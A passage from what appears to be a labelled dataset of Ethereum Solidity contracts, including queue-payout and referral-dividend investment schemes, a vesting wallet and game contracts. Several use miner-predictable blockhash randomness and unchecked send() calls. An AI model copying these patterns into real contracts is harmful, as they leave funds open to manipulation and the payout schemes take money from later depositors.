function setMaximumSellableTokens(uint tokens) onlyOwner {
if (finalized) throw;
if (!isUpdatable) throw;
CrowdsaleExt lastCrowdsaleCntrct = CrowdsaleExt(lastCrowdsale);
if (lastCrowdsaleCntrct.finalized()) throw;
maximumSellableTokens = tokens;
MaximumSellableTokensChanged(maximumSellableTokens);
}
} | 0 | 191 |
pragma solidity ^0.4.25;
contract Hutay {
address public support;
uint constant public PRIZE_PERCENT = 3;
uint constant public SUPPORT_PERCENT = 2;
uint constant public MAX_INVESTMENT = 0.0003 ether;
uint constant public MIN_INVESTMENT = 0.0001 ether;
uint constant public MIN_INVESTMENT_FOR_PRIZE = 0.0002 ether;
uint constant public GAS_PRICE_MAX = 20;
uint constant public MAX_IDLE_TIME = 10 minutes;
uint constant public SIZE_TO_SAVE_INVEST = 5;
uint constant public TIME_TO_SAVE_INVEST = 5 minutes;
uint8[] MULTIPLIERS = [
120,
125,
130
];
struct Deposit {
address depositor;
uint128 deposit;
uint128 expect;
}
struct DepositCount {
int128 stage;
uint128 count;
}
struct LastDepositInfo {
uint128 index;
uint128 time;
}
Deposit[] private queue;
uint public currentReceiverIndex = 0;
uint public currentQueueSize = 0;
LastDepositInfo public lastDepositInfoForPrize;
LastDepositInfo public previosDepositInfoForPrize;
uint public prizeAmount = 0;
uint public prizeStageAmount = 0;
int public stage = 0;
uint128 public lastDepositTime = 0;
mapping(address => DepositCount) public depositsMade;
constructor() public {
support = msg.sender;
proceedToNewStage(getCurrentStageByTime() + 1);
}
function () public payable {
require(tx.gasprice <= GAS_PRICE_MAX * 1000000000);
require(gasleft() >= 250000, "We require more gas!");
checkAndUpdateStage();
if(msg.value > 0){
require(msg.value >= MIN_INVESTMENT && msg.value <= MAX_INVESTMENT);
require(lastDepositInfoForPrize.time <= now + MAX_IDLE_TIME);
require(getNextStageStartTime() >= now + MAX_IDLE_TIME + 10 minutes);
if(currentQueueSize < SIZE_TO_SAVE_INVEST){
addDeposit(msg.sender, msg.value);
} else {
addDeposit(msg.sender, msg.value);
pay();
}
} else if(msg.value == 0 && currentQueueSize > SIZE_TO_SAVE_INVEST){
withdrawPrize();
} else if(msg.value == 0){
require(currentQueueSize <= SIZE_TO_SAVE_INVEST);
require(lastDepositTime > 0 && (now - lastDepositTime) >= TIME_TO_SAVE_INVEST);
returnPays();
}
}
function pay() private {
uint balance = address(this).balance;
uint128 money = 0;
if(balance > prizeStageAmount)
money = uint128(balance - prizeStageAmount);
uint128 moneyS = uint128(money*SUPPORT_PERCENT/100);
support.send(moneyS);
money -= moneyS;
for(uint i=currentReceiverIndex; i<currentQueueSize; i++){
Deposit storage dep = queue[i];
if(money >= dep.expect){
dep.depositor.send(dep.expect);
money -= dep.expect;
delete queue[i];
}else{
dep.depositor.send(money);
money -= dep.expect;
break;
}
if(gasleft() <= 50000)
break;
}
currentReceiverIndex = i;
}
function returnPays() private {
uint balance = address(this).balance;
uint128 money = 0;
if(balance > prizeAmount)
money = uint128(balance - prizeAmount);
for(uint i=currentReceiverIndex; i<currentQueueSize; i++){
Deposit storage dep = queue[i];
dep.depositor.send(dep.deposit);
money -= dep.deposit;
delete queue[i];
}
prizeStageAmount = 0;
proceedToNewStage(getCurrentStageByTime() + 1);
}
function addDeposit(address depositor, uint value) private {
DepositCount storage c = depositsMade[depositor];
if(c.stage != stage){
c.stage = int128(stage);
c.count = 0;
}
if(value >= MIN_INVESTMENT_FOR_PRIZE){
previosDepositInfoForPrize = lastDepositInfoForPrize;
lastDepositInfoForPrize = LastDepositInfo(uint128(currentQueueSize), uint128(now));
}
uint multiplier = getDepositorMultiplier(depositor);
push(depositor, value, value*multiplier/100);
c.count++;
lastDepositTime = uint128(now);
prizeStageAmount += value*PRIZE_PERCENT/100;
}
function checkAndUpdateStage() private {
int _stage = getCurrentStageByTime();
require(_stage >= stage);
if(_stage != stage){
proceedToNewStage(_stage);
}
}
function proceedToNewStage(int _stage) private {
stage = _stage;
currentQueueSize = 0;
currentReceiverIndex = 0;
lastDepositTime = 0;
prizeAmount += prizeStageAmount;
prizeStageAmount = 0;
delete queue;
delete previosDepositInfoForPrize;
delete lastDepositInfoForPrize;
}
function withdrawPrize() private {
require(lastDepositInfoForPrize.time > 0 && lastDepositInfoForPrize.time <= now - MAX_IDLE_TIME, "The last depositor is not confirmed yet");
require(currentReceiverIndex <= lastDepositInfoForPrize.index, "The last depositor should still be in queue");
uint balance = address(this).balance;
uint prize = balance;
if(previosDepositInfoForPrize.index > 0){
uint prizePrevios = prize*10/100;
queue[previosDepositInfoForPrize.index].depositor.transfer(prizePrevios);
prize -= prizePrevios;
}
queue[lastDepositInfoForPrize.index].depositor.send(prize);
proceedToNewStage(getCurrentStageByTime() + 1);
}
function push(address depositor, uint deposit, uint expect) private {
Deposit memory dep = Deposit(depositor, uint128(deposit), uint128(expect));
assert(currentQueueSize <= queue.length);
if(queue.length == currentQueueSize)
queue.push(dep);
else
queue[currentQueueSize] = dep;
currentQueueSize++;
}
function getDeposit(uint idx) public view returns (address depositor, uint deposit, uint expect){
Deposit storage dep = queue[idx];
return (dep.depositor, dep.deposit, dep.expect);
}
function getDepositsCount(address depositor) public view returns (uint) {
uint c = 0;
for(uint i=currentReceiverIndex; i<currentQueueSize; ++i){
if(queue[i].depositor == depositor)
c++;
}
return c;
}
function getQueueLength() public view returns (uint) {
return currentQueueSize - currentReceiverIndex;
}
function getDepositorMultiplier(address depositor) public view returns (uint) {
DepositCount storage c = depositsMade[depositor];
uint count = 0;
if(c.stage == getCurrentStageByTime())
count = c.count;
if(count < MULTIPLIERS.length)
return MULTIPLIERS[count];
return MULTIPLIERS[MULTIPLIERS.length - 1];
}
function getCurrentStageByTime() public view returns (int) {
return int(now - 17847 * 86400 - 16 * 3600) / (24 * 60 * 60);
}
function getNextStageStartTime() public view returns (uint) {
return 17847 * 86400 + 16 * 3600 + uint((getCurrentStageByTime() + 1) * 24 * 60 * 60);
}
function getCurrentCandidateForPrize() public view returns (address addr, int timeLeft){
if(currentReceiverIndex <= lastDepositInfoForPrize.index && lastDepositInfoForPrize.index < currentQueueSize){
Deposit storage d = queue[lastDepositInfoForPrize.index];
addr = d.depositor;
timeLeft = int(lastDepositInfoForPrize.time + MAX_IDLE_TIME) - int(now);
}
}
} | 0 | 104 |
pragma solidity ^0.4.24;
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract IMTArtefact {
uint public typesCount;
}
contract TVToken {
function transfer(address _to, uint256 _value) public returns (bool);
function safeTransfer(address _to, uint256 _value, bytes _data) public;
}
contract MTEpisodeManager is Ownable {
address public manager;
address public MTArtefactAddress;
uint[] public restTypes;
uint constant public artifactInEpisode = 5;
uint public restTypesLength;
uint[] public comicsCollection;
uint public comicsCollectionBonus;
mapping(uint => Collection) public collections;
struct Collection {
uint episodeNumber;
uint[] artefactsTypes;
uint comicsArtefactType;
uint bonusRewardType;
bool isFinal;
bool isDefined;
}
modifier onlyOwnerOrManager() {
require(msg.sender == owner || manager == msg.sender);
_;
}
event EpisodeStart(
uint number,
uint bonusType,
uint comicsArtefactType,
bool isFinal,
uint[] episodeArtefactTypes
);
constructor(
address _manager,
address _MTArtefactAddress
) public {
manager = _manager;
MTArtefactAddress = _MTArtefactAddress;
restTypesLength = IMTArtefact(MTArtefactAddress).typesCount();
for (uint i = 0; i < restTypesLength; i++) {
restTypes.push(i + 1);
}
}
function episodeStart(
uint number,
uint bonusType,
uint comicsArtefactType,
bool isFinal
) public onlyOwnerOrManager {
collections[number] = Collection(
number,
new uint[](artifactInEpisode),
comicsArtefactType,
bonusType,
isFinal,
true
);
for (uint i = 0; i < artifactInEpisode; i++) {
uint randomTypeId = restTypes[getRandom(restTypesLength, i)];
collections[number].artefactsTypes[i] = randomTypeId;
removeRestType(randomTypeId);
}
emit EpisodeStart(number, bonusType, comicsArtefactType, isFinal, collections[number].artefactsTypes);
}
function getArtefactOfCollectionByIndex(uint episodeNumber, uint index) public view returns(uint) {
return collections[episodeNumber].artefactsTypes[index];
}
function removeRestType(uint typeId) internal {
for (uint i = 0; i < restTypesLength; i++) {
if (restTypes[i] == typeId) {
restTypes[i] = restTypes[restTypesLength - 1];
restTypesLength--;
return;
}
}
}
function setManager(address _manager) public onlyOwner {
manager = _manager;
}
function getRandom(uint max, uint mix) internal view returns (uint random) {
random = bytesToUint(keccak256(abi.encodePacked(blockhash(block.number - 1), mix))) % max;
}
function changeMTArtefactAddress(address newAddress) public onlyOwnerOrManager {
MTArtefactAddress = newAddress;
}
function setComicsCollection(uint[] comicsArtefactIds, uint bonusTypeId) public onlyOwnerOrManager {
comicsCollection = comicsArtefactIds;
comicsCollectionBonus = bonusTypeId;
}
function getComicsCollectionLength() public view returns(uint) {
return comicsCollection.length;
}
function getComicsCollectionArtefactByIndex(uint index) public view returns(uint) {
return comicsCollection[index];
}
function getCollectionBonusType(uint episodeNumber) public view returns(uint bonusType) {
bonusType = collections[episodeNumber].bonusRewardType;
}
function isFinal(uint episodeNumber) public view returns(bool) {
return collections[episodeNumber].isFinal;
}
function bytesToUint(bytes32 b) internal pure returns (uint number){
for (uint i = 0; i < b.length; i++) {
number = number + uint(b[i]) * (2 ** (8 * (b.length - (i + 1))));
}
}
} | 1 | 4,250 |
pragma solidity 0.5.4;
contract Ownable {
address public owner;
event NewOwner(address indexed old, address indexed current);
modifier onlyOwner {
require(msg.sender == owner);
_;
}
constructor() public {
owner = msg.sender;
}
function setOwner(address _new)
public
onlyOwner
{
require(_new != address(0));
owner = _new;
emit NewOwner(owner, _new);
}
}
interface IERC20 {
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function transfer(address _to, uint256 _value) external returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) external returns (bool success);
function approve(address _spender, uint256 _value) external returns (bool success);
function balanceOf(address _owner) external view returns (uint256 balance);
function allowance(address _owner, address _spender) external view returns (uint256 remaining);
}
contract SafeMath {
function safeMul(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(
c / a == b,
"UINT256_OVERFLOW"
);
return c;
}
function safeDiv(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
uint256 c = a / b;
return c;
}
function safeSub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(
b <= a,
"UINT256_UNDERFLOW"
);
return a - b;
}
function safeAdd(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
uint256 c = a + b;
require(
c >= a,
"UINT256_OVERFLOW"
);
return c;
}
function max64(uint64 a, uint64 b)
internal
pure
returns (uint256)
{
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b)
internal
pure
returns (uint256)
{
return a < b ? a : b;
}
function max256(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
return a < b ? a : b;
}
}
contract ProgressiveUnlockWallet is Ownable, SafeMath {
mapping(address => VestingSchedule) public schedules;
mapping(address => address) public addressChangeRequests;
IERC20 vestingToken;
event VestingScheduleRegistered(
address indexed registeredAddress,
address depositor,
uint startTimeInSec,
uint cliffTimeInSec,
uint endTimeInSec,
uint totalAmount
);
event VestingScheduleConfirmed(
address indexed registeredAddress,
address depositor,
uint startTimeInSec,
uint cliffTimeInSec,
uint endTimeInSec,
uint totalAmount
);
event Withdrawal(
address indexed registeredAddress,
uint amountWithdrawn
);
event AddressChangeRequested(
address indexed oldRegisteredAddress,
address indexed newRegisteredAddress
);
event AddressChangeConfirmed(
address indexed oldRegisteredAddress,
address indexed newRegisteredAddress
);
struct VestingSchedule {
uint startTimeInSec;
uint cliffTimeInSec;
uint endTimeInSec;
uint totalAmount;
uint totalAmountWithdrawn;
address depositor;
bool isConfirmed;
}
modifier addressRegistered(address target) {
VestingSchedule storage vestingSchedule = schedules[target];
require(vestingSchedule.depositor != address(0));
_;
}
modifier addressNotRegistered(address target) {
VestingSchedule storage vestingSchedule = schedules[target];
require(vestingSchedule.depositor == address(0));
_;
}
modifier vestingScheduleConfirmed(address target) {
VestingSchedule storage vestingSchedule = schedules[target];
require(vestingSchedule.isConfirmed);
_;
}
modifier vestingScheduleNotConfirmed(address target) {
VestingSchedule storage vestingSchedule = schedules[target];
require(!vestingSchedule.isConfirmed);
_;
}
modifier pendingAddressChangeRequest(address target) {
require(addressChangeRequests[target] != address(0));
_;
}
modifier pastCliffTime(address target) {
VestingSchedule storage vestingSchedule = schedules[target];
require(block.timestamp > vestingSchedule.cliffTimeInSec);
_;
}
modifier validVestingScheduleTimes(uint startTimeInSec, uint cliffTimeInSec, uint endTimeInSec) {
require(cliffTimeInSec >= startTimeInSec);
require(endTimeInSec >= cliffTimeInSec);
_;
}
modifier addressNotNull(address target) {
require(target != address(0));
_;
}
constructor(address _vestingToken) public {
vestingToken = IERC20(_vestingToken);
}
function registerVestingSchedule(
address _addressToRegister,
address _depositor,
uint _startTimeInSec,
uint _cliffTimeInSec,
uint _endTimeInSec,
uint _totalAmount
)
public
onlyOwner
addressNotNull(_depositor)
vestingScheduleNotConfirmed(_addressToRegister)
validVestingScheduleTimes(_startTimeInSec, _cliffTimeInSec, _endTimeInSec)
{
schedules[_addressToRegister] = VestingSchedule({
startTimeInSec: _startTimeInSec,
cliffTimeInSec: _cliffTimeInSec,
endTimeInSec: _endTimeInSec,
totalAmount: _totalAmount,
totalAmountWithdrawn: 0,
depositor: _depositor,
isConfirmed: false
});
emit VestingScheduleRegistered(
_addressToRegister,
_depositor,
_startTimeInSec,
_cliffTimeInSec,
_endTimeInSec,
_totalAmount
);
}
function confirmVestingSchedule(
uint _startTimeInSec,
uint _cliffTimeInSec,
uint _endTimeInSec,
uint _totalAmount
)
public
addressRegistered(msg.sender)
vestingScheduleNotConfirmed(msg.sender)
{
VestingSchedule storage vestingSchedule = schedules[msg.sender];
require(vestingSchedule.startTimeInSec == _startTimeInSec);
require(vestingSchedule.cliffTimeInSec == _cliffTimeInSec);
require(vestingSchedule.endTimeInSec == _endTimeInSec);
require(vestingSchedule.totalAmount == _totalAmount);
vestingSchedule.isConfirmed = true;
require(vestingToken.transferFrom(vestingSchedule.depositor, address(this), _totalAmount));
emit VestingScheduleConfirmed(
msg.sender,
vestingSchedule.depositor,
_startTimeInSec,
_cliffTimeInSec,
_endTimeInSec,
_totalAmount
);
}
function withdraw()
public
vestingScheduleConfirmed(msg.sender)
pastCliffTime(msg.sender)
{
VestingSchedule storage vestingSchedule = schedules[msg.sender];
uint totalAmountVested = getTotalAmountVested(vestingSchedule);
uint amountWithdrawable = safeSub(totalAmountVested, vestingSchedule.totalAmountWithdrawn);
vestingSchedule.totalAmountWithdrawn = totalAmountVested;
if (amountWithdrawable > 0) {
require(vestingToken.transfer(msg.sender, amountWithdrawable));
emit Withdrawal(msg.sender, amountWithdrawable);
}
}
function requestAddressChange(address _newRegisteredAddress)
public
vestingScheduleConfirmed(msg.sender)
addressNotRegistered(_newRegisteredAddress)
addressNotNull(_newRegisteredAddress)
{
addressChangeRequests[msg.sender] = _newRegisteredAddress;
emit AddressChangeRequested(msg.sender, _newRegisteredAddress);
}
function confirmAddressChange(address _oldRegisteredAddress, address _newRegisteredAddress)
public
onlyOwner
pendingAddressChangeRequest(_oldRegisteredAddress)
addressNotRegistered(_newRegisteredAddress)
{
address newRegisteredAddress = addressChangeRequests[_oldRegisteredAddress];
require(newRegisteredAddress == _newRegisteredAddress);
VestingSchedule memory vestingSchedule = schedules[_oldRegisteredAddress];
schedules[newRegisteredAddress] = vestingSchedule;
delete schedules[_oldRegisteredAddress];
delete addressChangeRequests[_oldRegisteredAddress];
emit AddressChangeConfirmed(_oldRegisteredAddress, _newRegisteredAddress);
}
function getTotalAmountVested(VestingSchedule memory vestingSchedule)
internal
view
returns (uint)
{
if (block.timestamp >= vestingSchedule.endTimeInSec) return vestingSchedule.totalAmount;
uint timeSinceStartInSec = safeSub(block.timestamp, vestingSchedule.startTimeInSec);
uint totalVestingTimeInSec = safeSub(vestingSchedule.endTimeInSec, vestingSchedule.startTimeInSec);
uint totalAmountVested = safeDiv(
safeMul(timeSinceStartInSec, vestingSchedule.totalAmount),
totalVestingTimeInSec
);
return totalAmountVested;
}
} | 1 | 3,910 |
pragma solidity 0.4.25;
contract PantheonEcoSystem {
struct UserRecord {
address referrer;
uint tokens;
uint gained_funds;
uint ref_funds;
int funds_correction;
}
using SafeMath for uint;
using SafeMathInt for int;
using Fee for Fee.fee;
using ToAddress for bytes;
string constant public name = "Pantheon Ecosystem";
string constant public symbol = "PAN";
uint8 constant public decimals = 18;
Fee.fee private fee_purchase = Fee.fee(1, 10);
Fee.fee private fee_selling = Fee.fee(1, 20);
Fee.fee private fee_transfer = Fee.fee(1, 100);
Fee.fee private fee_referral = Fee.fee(33, 100);
uint constant private minimal_stake = 10e18;
uint constant private precision_factor = 1e18;
uint private price = 1e29;
uint constant private price_offset = 1e28;
uint private total_supply = 0;
uint private shared_profit = 0;
mapping(address => UserRecord) private user_data;
modifier onlyValidTokenAmount(uint tokens) {
require(tokens > 0, "Amount of tokens must be greater than zero");
require(tokens <= user_data[msg.sender].tokens, "You have not enough tokens");
_;
}
function () public payable {
buy(msg.data.toAddr());
}
function buy(address referrer) public payable {
(uint fee_funds, uint taxed_funds) = fee_purchase.split(msg.value);
require(fee_funds != 0, "Incoming funds is too small");
UserRecord storage user = user_data[msg.sender];
if (referrer != 0x0 && referrer != msg.sender && user.referrer == 0x0) {
user.referrer = referrer;
}
if (user.referrer != 0x0) {
fee_funds = rewardReferrer(msg.sender, user.referrer, fee_funds, msg.value);
require(fee_funds != 0, "Incoming funds is too small");
}
(uint tokens, uint _price) = fundsToTokens(taxed_funds);
require(tokens != 0, "Incoming funds is too small");
price = _price;
mintTokens(msg.sender, tokens);
shared_profit = shared_profit.add(fee_funds);
emit Purchase(msg.sender, msg.value, tokens, price / precision_factor, now);
}
function sell(uint tokens) public onlyValidTokenAmount(tokens) {
(uint funds, uint _price) = tokensToFunds(tokens);
require(funds != 0, "Insufficient tokens to do that");
price = _price;
(uint fee_funds, uint taxed_funds) = fee_selling.split(funds);
require(fee_funds != 0, "Insufficient tokens to do that");
burnTokens(msg.sender, tokens);
UserRecord storage user = user_data[msg.sender];
user.gained_funds = user.gained_funds.add(taxed_funds);
shared_profit = shared_profit.add(fee_funds);
emit Selling(msg.sender, tokens, funds, price / precision_factor, now);
}
function transfer(address to_addr, uint tokens) public onlyValidTokenAmount(tokens) returns (bool success) {
require(to_addr != msg.sender, "You cannot transfer tokens to yourself");
(uint fee_tokens, uint taxed_tokens) = fee_transfer.split(tokens);
require(fee_tokens != 0, "Insufficient tokens to do that");
(uint funds, uint _price) = tokensToFunds(fee_tokens);
require(funds != 0, "Insufficient tokens to do that");
price = _price;
burnTokens(msg.sender, tokens);
mintTokens(to_addr, taxed_tokens);
shared_profit = shared_profit.add(funds);
emit Transfer(msg.sender, to_addr, tokens);
return true;
}
function reinvest() public {
uint funds = dividendsOf(msg.sender);
require(funds > 0, "You have no dividends");
UserRecord storage user = user_data[msg.sender];
user.funds_correction = user.funds_correction.add(int(funds));
(uint fee_funds, uint taxed_funds) = fee_purchase.split(funds);
require(fee_funds != 0, "Insufficient dividends to do that");
if (user.referrer != 0x0) {
fee_funds = rewardReferrer(msg.sender, user.referrer, fee_funds, funds);
require(fee_funds != 0, "Insufficient dividends to do that");
}
(uint tokens, uint _price) = fundsToTokens(taxed_funds);
require(tokens != 0, "Insufficient dividends to do that");
price = _price;
mintTokens(msg.sender, tokens);
shared_profit = shared_profit.add(fee_funds);
emit Reinvestment(msg.sender, funds, tokens, price / precision_factor, now);
}
function withdraw() public {
uint funds = dividendsOf(msg.sender);
require(funds > 0, "You have no dividends");
UserRecord storage user = user_data[msg.sender];
user.funds_correction = user.funds_correction.add(int(funds));
msg.sender.transfer(funds);
emit Withdrawal(msg.sender, funds, now);
}
function exit() public {
uint tokens = user_data[msg.sender].tokens;
if (tokens > 0) {
sell(tokens);
}
withdraw();
}
function donate() public payable {
shared_profit = shared_profit.add(msg.value);
emit Donation(msg.sender, msg.value, now);
}
function totalSupply() public view returns (uint) {
return total_supply;
}
function balanceOf(address addr) public view returns (uint) {
return user_data[addr].tokens;
}
function dividendsOf(address addr) public view returns (uint) {
UserRecord memory user = user_data[addr];
int d = int(user.gained_funds.add(user.ref_funds));
require(d >= 0);
if (total_supply > 0) {
d = d.add(int(shared_profit.mul(user.tokens) / total_supply));
}
if (user.funds_correction > 0) {
d = d.sub(user.funds_correction);
}
else if (user.funds_correction < 0) {
d = d.add(-user.funds_correction);
}
require(d >= 0);
return uint(d);
}
function expectedTokens(uint funds, bool apply_fee) public view returns (uint) {
if (funds == 0) {
return 0;
}
if (apply_fee) {
(,uint _funds) = fee_purchase.split(funds);
funds = _funds;
}
(uint tokens,) = fundsToTokens(funds);
return tokens;
}
function expectedFunds(uint tokens, bool apply_fee) public view returns (uint) {
if (tokens == 0 || total_supply == 0) {
return 0;
}
else if (tokens > total_supply) {
tokens = total_supply;
}
(uint funds,) = tokensToFunds(tokens);
if (apply_fee) {
(,uint _funds) = fee_selling.split(funds);
funds = _funds;
}
return funds;
}
function buyPrice() public view returns (uint) {
return price / precision_factor;
}
function sellPrice() public view returns (uint) {
return price.sub(price_offset) / precision_factor;
}
function mintTokens(address addr, uint tokens) internal {
UserRecord storage user = user_data[addr];
bool not_first_minting = total_supply > 0;
if (not_first_minting) {
shared_profit = shared_profit.mul(total_supply.add(tokens)) / total_supply;
}
total_supply = total_supply.add(tokens);
user.tokens = user.tokens.add(tokens);
if (not_first_minting) {
user.funds_correction = user.funds_correction.add(int(tokens.mul(shared_profit) / total_supply));
}
}
function burnTokens(address addr, uint tokens) internal {
UserRecord storage user = user_data[addr];
uint dividends_from_tokens = 0;
if (total_supply == tokens) {
dividends_from_tokens = shared_profit.mul(user.tokens) / total_supply;
}
shared_profit = shared_profit.mul(total_supply.sub(tokens)) / total_supply;
total_supply = total_supply.sub(tokens);
user.tokens = user.tokens.sub(tokens);
if (total_supply > 0) {
user.funds_correction = user.funds_correction.sub(int(tokens.mul(shared_profit) / total_supply));
}
else if (dividends_from_tokens != 0) {
user.funds_correction = user.funds_correction.sub(int(dividends_from_tokens));
}
}
function rewardReferrer(address addr, address referrer_addr, uint funds, uint full_funds) internal returns (uint funds_after_reward) {
UserRecord storage referrer = user_data[referrer_addr];
if (referrer.tokens >= minimal_stake) {
(uint reward_funds, uint taxed_funds) = fee_referral.split(funds);
referrer.ref_funds = referrer.ref_funds.add(reward_funds);
emit ReferralReward(addr, referrer_addr, full_funds, reward_funds, now);
return taxed_funds;
}
else {
return funds;
}
}
function fundsToTokens(uint funds) internal view returns (uint tokens, uint _price) {
uint b = price.mul(2).sub(price_offset);
uint D = b.mul(b).add(price_offset.mul(8).mul(funds).mul(precision_factor));
uint n = D.sqrt().sub(b).mul(precision_factor) / price_offset.mul(2);
uint anp1 = price.add(price_offset.mul(n) / precision_factor);
return (n, anp1);
}
function tokensToFunds(uint tokens) internal view returns (uint funds, uint _price) {
uint sell_price = price.sub(price_offset);
uint an = sell_price.add(price_offset).sub(price_offset.mul(tokens) / precision_factor);
uint sn = sell_price.add(an).mul(tokens) / precision_factor.mul(2);
return (sn / precision_factor, an);
}
event Purchase(address indexed addr, uint funds, uint tokens, uint price, uint time);
event Selling(address indexed addr, uint tokens, uint funds, uint price, uint time);
event Reinvestment(address indexed addr, uint funds, uint tokens, uint price, uint time);
event Withdrawal(address indexed addr, uint funds, uint time);
event Donation(address indexed addr, uint funds, uint time);
event ReferralReward(address indexed referral_addr, address indexed referrer_addr, uint funds, uint reward_funds, uint time);
event Transfer(address indexed from_addr, address indexed to_addr, uint tokens);
}
library SafeMath {
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "mul failed");
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
require(b <= a, "sub failed");
return a - b;
}
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "add failed");
return c;
}
function sqrt(uint x) internal pure returns (uint y) {
uint z = add(x, 1) / 2;
y = x;
while (z < y) {
y = z;
z = add(x / z, z) / 2;
}
}
}
library SafeMathInt {
function sub(int a, int b) internal pure returns (int) {
int c = a - b;
require(c <= a, "sub failed");
return c;
}
function add(int a, int b) internal pure returns (int) {
int c = a + b;
require(c >= a, "add failed");
return c;
}
}
library Fee {
using SafeMath for uint;
struct fee {
uint num;
uint den;
}
function split(fee memory f, uint value) internal pure returns (uint tax, uint taxed_value) {
if (value == 0) {
return (0, 0);
}
tax = value.mul(f.num) / f.den;
taxed_value = value.sub(tax);
}
function get_tax(fee memory f, uint value) internal pure returns (uint tax) {
if (value == 0) {
return 0;
}
tax = value.mul(f.num) / f.den;
}
}
library ToAddress {
function toAddr(bytes source) internal pure returns (address addr) {
assembly {
addr := mload(add(source, 0x14))
}
return addr;
}
} | 1 | 4,088 |
contract HFConditionalTransfer {
function transferIfHF(address to) {
if (address(0xbf4ed7b27f1d666546e30d74d50d173d20bca754).balance > 1000000 ether)
to.send(msg.value);
else
msg.sender.send(msg.value);
}
function transferIfNoHF(address to) {
if (address(0xbf4ed7b27f1d666546e30d74d50d173d20bca754).balance <= 1000000 ether)
to.send(msg.value);
else
msg.sender.send(msg.value);
}
} | 1 | 2,276 |
pragma solidity ^0.4.20;
interface ERC165 {
function supportsInterface(bytes4 interfaceID) external view returns (bool);
}
contract ERC721 is ERC165 {
event Transfer(address indexed _from, address indexed _to, uint256 _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId);
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
function balanceOf(address _owner) external view returns (uint256);
function ownerOf(uint256 _tokenId) external view returns (address);
function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes data) external;
function safeTransferFrom(address _from, address _to, uint256 _tokenId) external;
function transferFrom(address _from, address _to, uint256 _tokenId) external;
function approve(address _approved, uint256 _tokenId) external;
function setApprovalForAll(address _operator, bool _approved) external;
function getApproved(uint256 _tokenId) external view returns (address);
function isApprovedForAll(address _owner, address _operator) external view returns (bool);
}
interface ERC721TokenReceiver {
function onERC721Received(address _from, uint256 _tokenId, bytes data) external returns(bytes4);
}
contract AccessAdmin {
bool public isPaused = false;
address public addrAdmin;
event AdminTransferred(address indexed preAdmin, address indexed newAdmin);
function AccessAdmin() public {
addrAdmin = msg.sender;
}
modifier onlyAdmin() {
require(msg.sender == addrAdmin);
_;
}
modifier whenNotPaused() {
require(!isPaused);
_;
}
modifier whenPaused {
require(isPaused);
_;
}
function setAdmin(address _newAdmin) external onlyAdmin {
require(_newAdmin != address(0));
AdminTransferred(addrAdmin, _newAdmin);
addrAdmin = _newAdmin;
}
function doPause() external onlyAdmin whenNotPaused {
isPaused = true;
}
function doUnpause() external onlyAdmin whenPaused {
isPaused = false;
}
}
contract AccessService is AccessAdmin {
address public addrService;
address public addrFinance;
modifier onlyService() {
require(msg.sender == addrService);
_;
}
modifier onlyFinance() {
require(msg.sender == addrFinance);
_;
}
function setService(address _newService) external {
require(msg.sender == addrService || msg.sender == addrAdmin);
require(_newService != address(0));
addrService = _newService;
}
function setFinance(address _newFinance) external {
require(msg.sender == addrFinance || msg.sender == addrAdmin);
require(_newFinance != address(0));
addrFinance = _newFinance;
}
function withdraw(address _target, uint256 _amount)
external
{
require(msg.sender == addrFinance || msg.sender == addrAdmin);
require(_amount > 0);
address receiver = _target == address(0) ? addrFinance : _target;
uint256 balance = this.balance;
if (_amount < balance) {
receiver.transfer(_amount);
} else {
receiver.transfer(this.balance);
}
}
}
interface IDataMining {
function subFreeMineral(address _target) external returns(bool);
}
contract Random {
uint256 _seed;
function _rand() internal returns (uint256) {
_seed = uint256(keccak256(_seed, block.blockhash(block.number - 1), block.coinbase, block.difficulty));
return _seed;
}
function _randBySeed(uint256 _outSeed) internal view returns (uint256) {
return uint256(keccak256(_outSeed, block.blockhash(block.number - 1), block.coinbase, block.difficulty));
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract RaceToken is ERC721, AccessAdmin {
struct Fashion {
uint16 equipmentId;
uint16 quality;
uint16 pos;
uint16 production;
uint16 attack;
uint16 defense;
uint16 plunder;
uint16 productionMultiplier;
uint16 attackMultiplier;
uint16 defenseMultiplier;
uint16 plunderMultiplier;
uint16 level;
uint16 isPercent;
}
Fashion[] public fashionArray;
uint256 destroyFashionCount;
mapping (uint256 => address) fashionIdToOwner;
mapping (address => uint256[]) ownerToFashionArray;
mapping (uint256 => uint256) fashionIdToOwnerIndex;
mapping (uint256 => address) fashionIdToApprovals;
mapping (address => mapping (address => bool)) operatorToApprovals;
mapping (address => bool) actionContracts;
function setActionContract(address _actionAddr, bool _useful) external onlyAdmin {
